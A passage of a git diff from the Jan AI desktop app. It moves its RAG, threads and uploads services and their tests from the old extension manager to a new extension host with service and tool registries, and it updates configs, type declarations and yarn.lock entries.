string) =>key === 'api-key' || key === API_KEY_FALLBACKS_SETTING_KEY- return ExtensionManager.getInstance()- .getEngine(providerName)+ return EngineManager.instance()+ .get(providerName)?.updateSettings(settings.map((setting) => ({...setting,diff --git a/web-app/src/services/rag/__tests__/default.test.ts b/web-app/src/services/rag/__tests__/default.test.tsindex d7468fc3f..b367ae84d 100644--- a/web-app/src/services/rag/__tests__/default.test.ts+++ b/web-app/src/services/rag/__tests__/default.test.ts@@ -1,146 +1,189 @@import { describe, it, expect, vi, beforeEach } from 'vitest'--vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: vi.fn(),- },+import {+ ServiceKeys,+ createInternalToolRegistry,+ createServiceRegistry,+ type InternalToolRegistry,+ type RAGIngestService,+ type ServiceRegistry,+} from '@janhq/core'++let host: { services: ServiceRegistry; internalTools: InternalToolRegistry }++vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => host,}))-import { ExtensionManager } from '@/lib/extension'import { DefaultRAGService } from '../default'-const mockGet = vi.fn()-beforeEach(() => {- vi.mocked(ExtensionManager.getInstance).mockReturnValue({ get: mockGet } as any)- mockGet.mockReset()+ host = {+ services: createServiceRegistry(),+ internalTools: createInternalToolRegistry(),+ }})-describe('DefaultRAGService.getTools', () => {- it('returns tools from extension', async () => {- const tools = [{ name: 'tool1' }]- mockGet.mockReturnValue({ getTools: vi.fn().mockResolvedValue(tools) })- const svc = new DefaultRAGService()- expect(await svc.getTools()).toEqual(tools)- })+const registerTool = (+ name: string,+ call = vi.fn().mockResolvedValue({ error: '', content: [] })+) => {+ host.internalTools.register({+ name,+ definition: () => ({+ name,+ description: name,+ inputSchema: {},+ server: 'rag-internal',+ }),+ call,+ })+ return call+}++const provideRag = (impl: Partial<RAGIngestService>) =>+ host.services.provide(ServiceKeys.RAG, impl as RAGIngestService)- it('returns [] when ext is undefined', async () => {- mockGet.mockReturnValue(undefined)- const svc = new DefaultRAGService()- expect(await svc.getTools()).toEqual([])- })-- it('returns [] when ext has no getTools', async () => {- mockGet.mockReturnValue({})- const svc = new DefaultRAGService()- expect(await svc.getTools()).toEqual([])+describe('DefaultRAGService.getTools', () => {+ it('returns the definitions of the host internal tools', async () => {+ registerTool('retrieve')+ registerTool('get_chunks')+ const tools = await new DefaultRAGService().getTools()+ expect(tools.map((t) => t.name)).toEqual(['retrieve', 'get_chunks'])})- it('returns [] and logs on error', async () => {- const spy = vi.spyOn(console, 'error').mockImplementation(() => {})- mockGet.mockReturnValue({ getTools: vi.fn().mockRejectedValue(new Error('fail')) })- const svc = new DefaultRAGService()- expect(await svc.getTools()).toEqual([])- expect(spy).toHaveBeenCalled()- spy.mockRestore()+ it('returns [] when no tool is registered', async () => {+ expect(await new DefaultRAGService().getTools()).toEqual([])})})describe('DefaultRAGService.callTool', () => {- it('returns error when ext not available', async () => {- mockGet.mockReturnValue(undefined)- const svc = new DefaultRAGService()- const res = await svc.callTool({ toolName: 't', arguments: {}, scope: 'thread' })+ it('returns error when the tool is not registered', async () => {+ const res = await new DefaultRAGService().callTool({+ toolName: 't',+ arguments: {},+ scope: 'thread',+ })expect(res.error).toBe('RAG extension not available')})- it('returns error when ext has no callTool', async () => {- mockGet.mockReturnValue({})- const svc = new DefaultRAGService()- const res = await svc.callTool({ toolName: 't', arguments: {}, scope: 'thread' })- expect(res.error).toBe('RAG extension not available')- })-- it('calls ext.callTool with thread scope injecting thread_id', async () => {- const callTool = vi.fn().mockResolvedValue({ content: [] })- mockGet.mockReturnValue({ callTool })- const svc = new DefaultRAGService()- await svc.callTool({ toolName: 'search', arguments: { q: 'hi' }, scope: 'thread', threadId: 't1' })- expect(callTool).toHaveBeenCalledWith('search', expect.objectContaining({ thread_id: 't1', scope: 'thread' }))+ it('calls the tool with thread scope injecting thread_id', async () => {+ const call = registerTool('search')+ await new DefaultRAGService().callTool({+ toolName: 'search',+ arguments: { q: 'hi' },+ scope: 'thread',+ threadId: 't1',+ })+ expect(call).toHaveBeenCalledWith(+ expect.objectContaining({ q: 'hi', thread_id: 't1', scope: 'thread' })+ )})it('does not override existing thread_id', async () => {- const callTool = vi.fn().mockResolvedValue({ content: [] })- mockGet.mockReturnValue({ callTool })- const svc = new DefaultRAGService()- await svc.callTool({ toolName: 'search', arguments: { thread_id: 'existing' }, scope: 'thread', threadId: 't1' })- expect(callTool).toHaveBeenCalledWith('search', expect.objectContaining({ thread_id: 'existing' }))+ const call = registerTool('search')+ await new DefaultRAGService().callTool({+ toolName: 'search',+ arguments: { thread_id: 'existing' },+ scope: 'thread',+ threadId: 't1',+ })+ expect(call).toHaveBeenCalledWith(+ expect.objectContaining({ thread_id: 'existing' })+ )})it('injects project_id for project scope', async () => {- const callTool = vi.fn().mockResolvedValue({ content: [] })- mockGet.mockReturnValue({ callTool })- const svc = new DefaultRAGService()- await svc.callTool({ toolName: 'search', arguments: {}, scope: 'project', projectId: 'p1' })- expect(callTool).toHaveBeenCalledWith('search', expect.objectContaining({ project_id: 'p1', thread_id: 'p1', scope: 'project' }))+ const call = registerTool('search')+ await new DefaultRAGService().callTool({+ toolName: 'search',+ arguments: {},+ scope: 'project',+ projectId: 'p1',+ })+ expect(call).toHaveBeenCalledWith(+ expect.objectContaining({+ project_id: 'p1',+ thread_id: 'p1',+ scope: 'project',+ })+ )})it('catches Error and returns message', async () => {- mockGet.mockReturnValue({ callTool: vi.fn().mockRejectedValue(new Error('boom')) })- const svc = new DefaultRAGService()- const res = await svc.callTool({ toolName: 't', arguments: {}, scope: 'thread' })+ registerTool('t', vi.fn().mockRejectedValue(new Error('boom')))+ const res = await new DefaultRAGService().callTool({+ toolName: 't',+ arguments: {},+ scope: 'thread',+ })expect(res.error).toBe('boom')expect(res.content[0].text).toContain('boom')})it('catches non-Error and stringifies', async () => {- mockGet.mockReturnValue({ callTool: vi.fn().mockRejectedValue('string-err') })- const svc = new DefaultRAGService()- const res = await svc.callTool({ toolName: 't', arguments: {}, scope: 'thread' })+ registerTool('t', vi.fn().mockRejectedValue('string-err'))+ const res = await new DefaultRAGService().callTool({+ toolName: 't',+ arguments: {},+ scope: 'thread',+ })expect(res.error).toContain('string-err')})})describe('DefaultRAGService.getToolNames', () => {- it('returns tool names from extension', async () => {- mockGet.mockReturnValue({ getToolNames: vi.fn().mockResolvedValue(['a', 'b']) })- const svc = new DefaultRAGService()- expect(await svc.getToolNames()).toEqual(['a', 'b'])+ it('returns the host internal tool names', async () => {+ registerTool('a')+ registerTool('b')+ expect(await new DefaultRAGService().getToolNames()).toEqual(['a', 'b'])})- it('returns [] when ext has no getToolNames', async () => {- mockGet.mockReturnValue({})- const svc = new DefaultRAGService()- expect(await svc.getToolNames()).toEqual([])+ it('returns [] when no tool is registered', async () => {+ expect(await new DefaultRAGService().getToolNames()).toEqual([])+ })+})++describe('DefaultRAGService.embed', () => {+ it('delegates to the RAG service', async () => {+ const embed = vi.fn().mockResolvedValue([[1]])+ provideRag({ embed })+ expect(await new DefaultRAGService().embed(['a'])).toEqual([[1]])+ expect(embed).toHaveBeenCalledWith(['a'])})- it('returns [] on error', async () => {- const spy = vi.spyOn(console, 'error').mockImplementation(() => {})- mockGet.mockReturnValue({ getToolNames: vi.fn().mockRejectedValue(new Error('fail')) })+ it('returns [] without the service or input', async () => {const svc = new DefaultRAGService()- expect(await svc.getToolNames()).toEqual([])+ expect(await svc.embed(['a'])).toEqual([])+ provideRag({ embed: vi.fn() })+ expect(await svc.embed([])).toEqual([])+ })++ it('returns [] when embedding fails', async () => {+ const spy = vi.spyOn(console, 'debug').mockImplementation(() => {})+ provideRag({ embed: vi.fn().mockRejectedValue(new Error('fail')) })+ expect(await new DefaultRAGService().embed(['a'])).toEqual([])spy.mockRestore()})})describe('DefaultRAGService.parseDocument', () => {it('returns parsed document', async () => {- mockGet.mockReturnValue({ parseDocument: vi.fn().mockResolvedValue('content') })- const svc = new DefaultRAGService()- expect(await svc.parseDocument('/file.pdf', 'pdf')).toBe('content')+ const parseDocument = vi.fn().mockResolvedValue('content')+ provideRag({ parseDocument })+ expect(await new DefaultRAGService().parseDocument('/file.pdf', 'pdf')).toBe(+ 'content'+ )+ expect(parseDocument).toHaveBeenCalledWith('/file.pdf', 'pdf')})- it('returns empty string when parseDocument returns undefined', async () => {- mockGet.mockReturnValue({})- const svc = new DefaultRAGService()- expect(await svc.parseDocument('/file.pdf')).toBe('')+ it('returns empty string without the service', async () => {+ expect(await new DefaultRAGService().parseDocument('/file.pdf')).toBe('')})it('returns empty string on error', async () => {const spy = vi.spyOn(console, 'debug').mockImplementation(() => {})- mockGet.mockReturnValue({ parseDocument: vi.fn().mockRejectedValue(new Error('fail')) })- const svc = new DefaultRAGService()- expect(await svc.parseDocument('/file.pdf')).toBe('')+ provideRag({ parseDocument: vi.fn().mockRejectedValue(new Error('fail')) })+ expect(await new DefaultRAGService().parseDocument('/file.pdf')).toBe('')spy.mockRestore()})})diff --git a/web-app/src/services/rag/default.ts b/web-app/src/services/rag/default.tsindex 3f9712c00..7063ba958 100644--- a/web-app/src/services/rag/default.ts+++ b/web-app/src/services/rag/default.ts@@ -1,21 +1,15 @@import type { RAGService } from './types'-import type { MCPTool, MCPToolCallResult, RAGExtension } from '@janhq/core'-import { ExtensionManager } from '@/lib/extension'-import { ExtensionTypeEnum } from '@janhq/core'+import { ServiceKeys, type MCPTool, type MCPToolCallResult } from '@janhq/core'+import { getExtensionHost } from '@/lib/extensions/host'++// The rag built-in registers its tools on the host's internal tool registry+// and publishes ingestion, parsing and embedding as ServiceKeys.RAG.+const ragService = () => getExtensionHost().services.get(ServiceKeys.RAG)+const internalTools = () => getExtensionHost().internalToolsexport class DefaultRAGService implements RAGService {async getTools(): Promise<MCPTool[]> {- const ext = ExtensionManager.getInstance().get<RAGExtension>(- ExtensionTypeEnum.RAG- )- if (ext?.getTools) {- try {- return await ext.getTools()- } catch (e) {- console.error('RAG extension getTools failed:', e)- }- }- return []+ return internalTools().definitions()}async callTool(args: {@@ -25,10 +19,8 @@ export class DefaultRAGService implements RAGService {projectId?: stringscope: 'project' | 'thread'}): Promise<MCPToolCallResult> {- const ext = ExtensionManager.getInstance().get<RAGExtension>(- ExtensionTypeEnum.RAG- )- if (!ext?.callTool) {+ const tools = internalTools()+ if (!tools.has(args.toolName)) {return {error: 'RAG extension not available',content: [{ type: 'text', text: 'RAG extension not available' }],@@ -50,7 +42,7 @@ export class DefaultRAGService implements RAGService {a.thread_id = args.projectId}a.scope = args.scope- return await ext.callTool(args.toolName, a)+ return await tools.call(args.toolName, a)} catch (e) {const msg = e instanceof Error ? e.message : JSON.stringify(e)return {@@ -61,26 +53,14 @@ export class DefaultRAGService implements RAGService {}async getToolNames(): Promise<string[]> {- try {- const ext = ExtensionManager.getInstance().get<RAGExtension>(- ExtensionTypeEnum.RAG- )- if (ext?.getToolNames) return await ext.getToolNames()- // No fallback to full tool list; return empty to save bandwidth- return []- } catch (e) {- console.error('Failed to fetch RAG tool names:', e)- return []- }+ return internalTools().names()}async embed(texts: string[]): Promise<number[][]> {if (!texts || texts.length === 0) return []try {- const ext = ExtensionManager.getInstance().get<RAGExtension>(- ExtensionTypeEnum.RAG- )- if (ext?.embed) return await ext.embed(texts)+ const rag = ragService()+ if (rag) return await rag.embed(texts)} catch (e) {console.debug('RAG embed unavailable', e)}@@ -89,10 +69,7 @@ export class DefaultRAGService implements RAGService {async parseDocument(path: string, type?: string): Promise<string> {try {- const ext = ExtensionManager.getInstance().get<RAGExtension>(- ExtensionTypeEnum.RAG- )- const parsed = await ext?.parseDocument?.(path, type)+ const parsed = await ragService()?.parseDocument(path, type)return parsed ?? ''} catch (e) {console.debug('RAG parseDocument unavailable', e)diff --git a/web-app/src/services/threads/default.ts b/web-app/src/services/threads/default.tsindex 7eb09159b..9904c4b25 100644--- a/web-app/src/services/threads/default.ts+++ b/web-app/src/services/threads/default.ts@@ -2,8 +2,8 @@* Default Threads Service - Web implementation*/-import { ExtensionManager } from '@/lib/extension'-import { ConversationalExtension, ExtensionTypeEnum } from '@janhq/core'+import type { Thread as StoredThread } from '@janhq/core'+import { Emitter } from '@janhq/extension-api'import type { ThreadsService } from './types'import { TEMPORARY_CHAT_ID } from '@/constants/chat'@@ -22,21 +22,15 @@ function fromModelResponse(}export class DefaultThreadsService implements ThreadsService {- async fetchThreads(): Promise<Thread[]> {- const ext = ExtensionManager.getInstance().get<ConversationalExtension>(- ExtensionTypeEnum.Conversational- )- // The extension may not be registered yet during a startup race (e.g. a- // reload while the llamacpp router is busy). Throw so the caller can retry- // instead of treating "not ready" as "no threads" and wiping the list.- if (!ext) {- throw new Error('Conversational extension not available yet')- }+ private readonly deleted = new Emitter<{ threadId: string }>()+ readonly onDidDeleteThread = this.deleted.event+ async fetchThreads(): Promise<Thread[]> {// Let listThreads failures propagate: a rejected invoke means "backend not- // ready / errored", not "no threads" — the caller retries instead of+ // ready / errored", not "no threads", so the caller retries instead of// wiping the list with [].- const threads = await ext.listThreads()+ const threads: StoredThread[] | null | undefined =+ await window.core?.api?.listThreads()if (!Array.isArray(threads)) return []// new String("id") !== "id"@@ -76,7 +70,7 @@ export class DefaultThreadsService implements ThreadsService {}async createThread(thread: Thread): Promise<Thread> {- // For temporary threads, bypass the conversational extension (in-memory only)+ // Temporary threads are in-memory only and never reach the backend.if (thread.id === TEMPORARY_CHAT_ID) {return thread}@@ -91,17 +85,18 @@ export class DefaultThreadsService implements ThreadsService {: [{ id: 'model-only', name: 'Model', model: modelPayload }]return (- ExtensionManager.getInstance()- .get<ConversationalExtension>(ExtensionTypeEnum.Conversational)+ window.core?.api?.createThread({- ...thread,- assistants: assistantsPayload,- metadata: {- ...thread.metadata,- order: thread.order,+ thread: {+ ...thread,+ assistants: assistantsPayload,+ metadata: {+ ...thread.metadata,+ order: thread.order,+ },},})- .then((e) => {+ .then((e: StoredThread) => {const model = fromModelResponse(e.assistants?.[0]?.model, thread.model)const assistants = e.assistants@@ -119,14 +114,13 @@ export class DefaultThreadsService implements ThreadsService {}async updateThread(thread: Thread): Promise<void> {- // For temporary threads, skip updating via conversational extension+ // Temporary threads are in-memory only and never reach the backend.if (thread.id === TEMPORARY_CHAT_ID) {return}- await ExtensionManager.getInstance()- .get<ConversationalExtension>(ExtensionTypeEnum.Conversational)- ?.modifyThread({+ await window.core?.api?.modifyThread({+ thread: {...thread,assistants: thread.assistants?.map((e) => ({...e,@@ -142,17 +136,19 @@ export class DefaultThreadsService implements ThreadsService {object: 'thread',created: Date.now() / 1000,updated: Date.now() / 1000,- })+ },+ })}async deleteThread(threadId: string): Promise<void> {- // For temporary threads, skip deleting via conversational extension+ // Temporary threads are in-memory only and never reach the backend.if (threadId === TEMPORARY_CHAT_ID) {return}- await ExtensionManager.getInstance()- .get<ConversationalExtension>(ExtensionTypeEnum.Conversational)- ?.deleteThread(threadId)+ const api = window.core?.api+ if (!api) return+ await api.deleteThread({ threadId })+ this.deleted.fire({ threadId })}}diff --git a/web-app/src/services/threads/types.ts b/web-app/src/services/threads/types.tsindex 9f739624f..ce0445a93 100644--- a/web-app/src/services/threads/types.ts+++ b/web-app/src/services/threads/types.ts@@ -2,7 +2,11 @@* Threads Service Types*/+import type { Event } from '@janhq/extension-api'+export interface ThreadsService {+ /** Fires once per thread the backend deleted through `deleteThread`. */+ readonly onDidDeleteThread: Event<{ threadId: string }>fetchThreads(): Promise<Thread[]>createThread(thread: Thread): Promise<Thread>updateThread(thread: Thread): Promise<void>diff --git a/web-app/src/services/uploads/__tests__/default.test.ts b/web-app/src/services/uploads/__tests__/default.test.tsindex cba800bd4..31e161a51 100644--- a/web-app/src/services/uploads/__tests__/default.test.ts+++ b/web-app/src/services/uploads/__tests__/default.test.ts@@ -1,23 +1,20 @@import { describe, it, expect, vi, beforeEach } from 'vitest'-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: vi.fn(),- },+const mockGet = vi.fn()++// The RAG service as the host's service registry returns it.+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({ services: { get: mockGet } }),}))vi.mock('ulidx', () => ({ulid: vi.fn(() => 'mock-ulid-123'),}))-import { ExtensionManager } from '@/lib/extension'import { DefaultUploadsService } from '../default'import type { Attachment } from '@/types/attachment'-const mockGet = vi.fn()-beforeEach(() => {- vi.mocked(ExtensionManager.getInstance).mockReturnValue({ get: mockGet } as any)mockGet.mockReset()vi.useFakeTimers()})@@ -103,11 +100,11 @@ describe('DefaultUploadsService.ingestFileAttachmentForProject', () => {await expect(svc.ingestFileAttachmentForProject('p1', imageAttachment)).rejects.toThrow('not document')})- it('throws when ext lacks ingestAttachmentsForProject', async () => {+ it('throws when RAG service not available', async () => {vi.useRealTimers()- mockGet.mockReturnValue({})+ mockGet.mockReturnValue(undefined)const svc = new DefaultUploadsService()- await expect(svc.ingestFileAttachmentForProject('p1', docAttachment)).rejects.toThrow('does not support')+ await expect(svc.ingestFileAttachmentForProject('p1', docAttachment)).rejects.toThrow('RAG extension not available')})it('throws when no id returned', async () => {diff --git a/web-app/src/services/uploads/default.ts b/web-app/src/services/uploads/default.tsindex 5e1ccaeab..9c7b1278f 100644--- a/web-app/src/services/uploads/default.ts+++ b/web-app/src/services/uploads/default.ts@@ -1,8 +1,10 @@import type { UploadsService, UploadResult } from './types'import type { Attachment } from '@/types/attachment'import { ulid } from 'ulidx'-import { ExtensionManager } from '@/lib/extension'-import { ExtensionTypeEnum, type RAGExtension, type IngestAttachmentsResult } from '@janhq/core'+import { getExtensionHost } from '@/lib/extensions/host'+import { ServiceKeys, type IngestAttachmentsResult } from '@janhq/core'++const ragService = () => getExtensionHost().services.get(ServiceKeys.RAG)export class DefaultUploadsService implements UploadsService {async ingestImage(_threadId: string, attachment: Attachment): Promise<UploadResult> {@@ -14,9 +16,9 @@ export class DefaultUploadsService implements UploadsService {async ingestFileAttachment(threadId: string, attachment: Attachment): Promise<UploadResult> {if (attachment.type !== 'document') throw new Error('ingestFileAttachment: attachment is not document')- const ext = ExtensionManager.getInstance().get<RAGExtension>(ExtensionTypeEnum.RAG)- if (!ext?.ingestAttachments) throw new Error('RAG extension not available')- const res: IngestAttachmentsResult = await ext.ingestAttachments(threadId, [+ const rag = ragService()+ if (!rag) throw new Error('RAG extension not available')+ const res: IngestAttachmentsResult = await rag.ingestAttachments(threadId, [{ path: attachment.path!, name: attachment.name, type: attachment.fileType, size: attachment.size },])const files = res.files@@ -32,9 +34,9 @@ export class DefaultUploadsService implements UploadsService {async ingestFileAttachmentForProject(projectId: string, attachment: Attachment): Promise<UploadResult> {if (attachment.type !== 'document') throw new Error('ingestFileAttachmentForProject: attachment is not document')- const ext = ExtensionManager.getInstance().get<RAGExtension>(ExtensionTypeEnum.RAG)- if (!ext?.ingestAttachmentsForProject) throw new Error('RAG extension does not support project-level ingestion')- const res: IngestAttachmentsResult = await ext.ingestAttachmentsForProject(projectId, [+ const rag = ragService()+ if (!rag) throw new Error('RAG extension not available')+ const res: IngestAttachmentsResult = await rag.ingestAttachmentsForProject(projectId, [{ path: attachment.path!, name: attachment.name, type: attachment.fileType, size: attachment.size },])const files = res.filesdiff --git a/web-app/src/test/setup.ts b/web-app/src/test/setup.tsindex 84baf4b71..cac7569ef 100644--- a/web-app/src/test/setup.ts+++ b/web-app/src/test/setup.ts@@ -1,6 +1,7 @@import { expect, afterEach, vi } from 'vitest'import { cleanup } from '@testing-library/react'import * as matchers from '@testing-library/jest-dom/matchers'+import { DefaultExtensionsService } from '@/services/extensions/default'// extends Vitest's expect method with methods from react-testing-libraryexpect.extend(matchers)@@ -132,6 +133,7 @@ const mockServiceHub = {stopCore: vi.fn().mockResolvedValue(undefined),getCoreStatus: vi.fn().mockResolvedValue('stopped'),}),+ extensions: () => new DefaultExtensionsService(),deeplink: () => ({ // cspell: disable-lineregister: vi.fn().mockResolvedValue(undefined),handle: vi.fn().mockResolvedValue(undefined),diff --git a/web-app/src/types/bundled-extensions.d.ts b/web-app/src/types/bundled-extensions.d.tsindex 944c3986a..18769587f 100644--- a/web-app/src/types/bundled-extensions.d.ts+++ b/web-app/src/types/bundled-extensions.d.ts@@ -1,37 +1,30 @@-type BundledExtensionCtor = new (- url: string,- name: string,- productName?: string,- active?: boolean,- description?: string,- version?: string-) => import('@janhq/core').BaseExtension-declare module '@janhq/assistant-extension' {- const ext: BundledExtensionCtor- export default ext+ export function activate(+ ctx: import('@janhq/core').InternalExtensionContext+ ): Promise<void>}declare module '@janhq/download-extension' {- const ext: BundledExtensionCtor- export default ext+ export function activate(+ ctx: import('@janhq/core').InternalExtensionContext+ ): Promise<void>}declare module '@janhq/llamacpp-extension' {- const ext: BundledExtensionCtor- export default ext+ export function activate(+ ctx: import('@janhq/core').InternalExtensionContext+ ): Promise<void>}declare module '@janhq/mlx-extension' {- const ext: BundledExtensionCtor- export default ext+ export function activate(+ ctx: import('@janhq/core').InternalExtensionContext+ ): Promise<void>}declare module '@janhq/rag-extension' {- const ext: BundledExtensionCtor- export default ext+ export function activate(+ ctx: import('@janhq/core').InternalExtensionContext+ ): Promise<void>}declare module '@janhq/vector-db-extension' {- const ext: BundledExtensionCtor- export default ext-}-declare module '@janhq/conversational-extension' {- const ext: BundledExtensionCtor- export default ext+ export function activate(+ ctx: import('@janhq/core').InternalExtensionContext+ ): Promise<void>}diff --git a/web-app/src/types/global.d.ts b/web-app/src/types/global.d.tsindex 380d93b93..6063c9ac1 100644--- a/web-app/src/types/global.d.ts+++ b/web-app/src/types/global.d.ts@@ -2,7 +2,6 @@ export {}type AppCore = {api: APIs- extensionManager: ExtensionManager | undefined}declare global {diff --git a/web-app/src/types/modelProviders.d.ts b/web-app/src/types/modelProviders.d.tsindex 1be1945e9..325c81bcf 100644--- a/web-app/src/types/modelProviders.d.ts+++ b/web-app/src/types/modelProviders.d.ts@@ -75,6 +75,18 @@ type ProviderObject = {custom_header?: ProviderCustomHeader[] | null/** Wire format of the provider's HTTP API. Missing = 'openai' (default). */api_type?: ProviderApiType+ /**+ * What the UI calls the provider when its id is not meant for people, such+ * as the namespaced id of an extension's provider. `getProviderTitle`+ * prefers it.+ */+ display_name?: string+ /**+ * Set when an extension contributed the provider. Such providers live only+ * while the extension runs and are never persisted; the extension owns+ * their key and base URL, so the provider page does not edit them.+ */+ source?: { extensionId: string; extensionName: string }}/**diff --git a/web-app/vite.config.ts b/web-app/vite.config.tsindex 0a945db36..0741713c6 100644--- a/web-app/vite.config.ts+++ b/web-app/vite.config.ts@@ -65,7 +65,6 @@ export default defineConfig(({ mode }) => {alias: {'@': path.resolve(__dirname, './src'),'@janhq/assistant-extension': path.resolve(__dirname, '../extensions/assistant-extension/dist/index.js'),- '@janhq/conversational-extension': path.resolve(__dirname, '../extensions/conversational-extension/dist/index.js'),'@janhq/download-extension': path.resolve(__dirname, '../extensions/download-extension/dist/index.js'),'@janhq/llamacpp-extension': path.resolve(__dirname, '../extensions/llamacpp-extension/dist/index.js'),'@janhq/mlx-extension': path.resolve(__dirname, '../extensions/mlx-extension/dist/index.js'),@@ -80,7 +79,6 @@ export default defineConfig(({ mode }) => {// hub and surfaces as "Importing a module script failed" on cold start.exclude: ['@janhq/assistant-extension',- '@janhq/conversational-extension','@janhq/download-extension','@janhq/llamacpp-extension','@janhq/mlx-extension',diff --git a/web-app/vitest.config.ts b/web-app/vitest.config.tsindex faa841318..e9459add2 100644--- a/web-app/vitest.config.ts+++ b/web-app/vitest.config.ts@@ -7,6 +7,7 @@ export default defineConfig({test: {environment: 'jsdom',setupFiles: ['./src/test/setup.ts'],+ globalSetup: ['./vitest.global-setup.mjs'],globals: true,css: true,testTimeout: 30000,@@ -28,7 +29,6 @@ export default defineConfig({alias: {'@': path.resolve(__dirname, './src'),'@janhq/assistant-extension': path.resolve(__dirname, '../extensions/assistant-extension/dist/index.js'),- '@janhq/conversational-extension': path.resolve(__dirname, '../extensions/conversational-extension/dist/index.js'),'@janhq/download-extension': path.resolve(__dirname, '../extensions/download-extension/dist/index.js'),'@janhq/llamacpp-extension': path.resolve(__dirname, '../extensions/llamacpp-extension/dist/index.js'),'@janhq/mlx-extension': path.resolve(__dirname, '../extensions/mlx-extension/dist/index.js'),@@ -37,6 +37,8 @@ export default defineConfig({// Resolve the plugin to guest-js source, not its built dist-js, so// tests exercise the wrappers the app actually calls.'@janhq/tauri-plugin-llamacpp-api': path.resolve(__dirname, '../src-tauri/plugins/tauri-plugin-llamacpp/guest-js/index.ts'),+ '@janhq/tauri-plugin-extensions-api': path.resolve(__dirname, '../src-tauri/plugins/tauri-plugin-extensions/guest-js/index.ts'),+ '@janhq/tauri-plugin-hardware-api': path.resolve(__dirname, '../src-tauri/plugins/tauri-plugin-hardware/guest-js/index.ts'),// The plugin ships its own @tauri-apps/api install; without this the// aliased guest-js would get a second module instance that// vi.mock('@tauri-apps/api/core') cannot intercept.diff --git a/web-app/vitest.global-setup.mjs b/web-app/vitest.global-setup.mjsnew file mode 100644index 000000000..0d7d181ae--- /dev/null+++ b/web-app/vitest.global-setup.mjs@@ -0,0 +1,8 @@+// src/lib/extensions/__tests__/sample.integration.test.ts runs the built+// hello-provider sample through the real host, so build it before the tests+// start rather than trusting whatever dist holds from the last build.+import { buildBundle } from '../extensions-samples/hello-provider/scripts/build.mjs'++export default async function setup() {+ await buildBundle()+}diff --git a/yarn.lock b/yarn.lockindex 65a7e1656..29589fcae 100644--- a/yarn.lock+++ b/yarn.lock@@ -970,6 +970,27 @@ __metadata:languageName: nodelinkType: hard+"@endo/cache-map@npm:^1.1.0":+ version: 1.1.0+ resolution: "@endo/cache-map@npm:1.1.0"+ checksum: 10c0/7d3df3263bfd581248a1e44472cb6650e73fc473f096bcd6dfe6619c3f8017d959e4376edcd76cea729d56f6b52b33de0a3d40a7f7b192cb4fb0e6822a153993+ languageName: node+ linkType: hard++"@endo/env-options@npm:^1.1.11":+ version: 1.1.11+ resolution: "@endo/env-options@npm:1.1.11"+ checksum: 10c0/207ca764c56aaf8350bb3e897913852fdf2a3e737dbf2777b1e9928430d4efdba11b75a91570d781d28bb28da77c24e4ac7795fcee6b0530944c804e448748c6+ languageName: node+ linkType: hard++"@endo/immutable-arraybuffer@npm:^2.0.0":+ version: 2.0.0+ resolution: "@endo/immutable-arraybuffer@npm:2.0.0"+ checksum: 10c0/f04dc647fc0b8f44e6112c21892867092fc3194e009bc1c25f7fe3670a03c3802a4fc4c6a50b2904ded331e186d9392e202f9720f6909716312fb82497badbad+ languageName: node+ linkType: hard+"@esbuild/aix-ppc64@npm:0.25.9":version: 0.25.9resolution: "@esbuild/aix-ppc64@npm:0.25.9"@@ -1631,24 +1652,11 @@ __metadata:languageName: unknownlinkType: soft-"@janhq/conversational-extension@workspace:extensions/conversational-extension":- version: 0.0.0-use.local- resolution: "@janhq/conversational-extension@workspace:extensions/conversational-extension"- dependencies:- "@janhq/core": "workspace:*"- cpx: "npm:1.5.0"- jsdom: "npm:^26.1.0"- rimraf: "npm:6.0.1"- rolldown: "npm:1.0.0-beta.1"- typescript: "npm:5.9.2"- vitest: "npm:3.2.7"- languageName: unknown- linkType: soft-"@janhq/core@workspace:*, @janhq/core@workspace:core":version: 0.0.0-use.localresolution: "@janhq/core@workspace:core"dependencies:+ "@janhq/extension-api": "workspace:*""@types/node": "npm:^22.10.0""@types/react": "npm:19.1.2""@vitest/coverage-v8": "npm:^3.2.7"@@ -1673,7 +1681,6 @@ __metadata:resolution: "@janhq/download-extension@workspace:extensions/download-extension"dependencies:"@janhq/core": "workspace:*"- "@tauri-apps/api": "npm:2.8.0"cpx: "npm:1.5.0"jsdom: "npm:^26.1.0"rimraf: "npm:6.0.1"@@ -1684,6 +1691,30 @@ __metadata:languageName: unknownlinkType: soft+"@janhq/extension-api@workspace:*, @janhq/extension-api@workspace:packages/extension-api":+ version: 0.0.0-use.local+ resolution: "@janhq/extension-api@workspace:packages/extension-api"+ dependencies:+ "@types/node": "npm:^22.10.0"+ typescript: "npm:5.9.2"+ vitest: "npm:3.2.4"+ languageName: unknown+ linkType: soft++"@janhq/extension-runtime@workspace:*, @janhq/extension-runtime@workspace:packages/extension-runtime":+ version: 0.0.0-use.local+ resolution: "@janhq/extension-runtime@workspace:packages/extension-runtime"+ dependencies:+ "@janhq/extension-api": "workspace:*"+ "@types/node": "npm:^22.10.0"+ acorn: "npm:^8.15.0"+ rolldown: "npm:1.0.0-beta.1"+ ses: "npm:^2.3.0"+ typescript: "npm:5.9.2"+ vitest: "npm:3.2.4"+ languageName: unknown+ linkType: soft+"@janhq/interfaces@npm:0.0.2":version: 0.0.2resolution: "@janhq/interfaces@npm:0.0.2"@@ -1730,10 +1761,8 @@ __metadata:"@janhq/tauri-plugin-hardware-api": "link:../../src-tauri/plugins/tauri-plugin-hardware""@janhq/tauri-plugin-llamacpp-api": "link:../../src-tauri/plugins/tauri-plugin-llamacpp""@tauri-apps/api": "npm:2.8.0"- "@tauri-apps/plugin-http": "npm:2.5.9""@vitest/ui": "npm:3.2.7"cpx: "npm:1.5.0"- fetch-retry: "npm:^5.0.6"jsdom: "npm:26.1.0"rimraf: "npm:3.0.2"rolldown: "npm:1.0.0-beta.1"@@ -1750,8 +1779,6 @@ __metadata:"@janhq/core": "workspace:*""@janhq/tauri-plugin-llamacpp-api": "link:../../src-tauri/plugins/tauri-plugin-llamacpp""@janhq/tauri-plugin-mlx-api": "link:../../src-tauri/plugins/tauri-plugin-mlx"- "@tauri-apps/api": "npm:2.8.0"- "@tauri-apps/plugin-http": "npm:2.5.9"cpx: "npm:1.5.0"jsdom: "npm:^26.1.0"rimraf: "npm:3.0.2"@@ -1784,18 +1811,43 @@ __metadata:languageName: nodelinkType: hard+"@janhq/sample-hello-provider@workspace:extensions-samples/hello-provider":+ version: 0.0.0-use.local+ 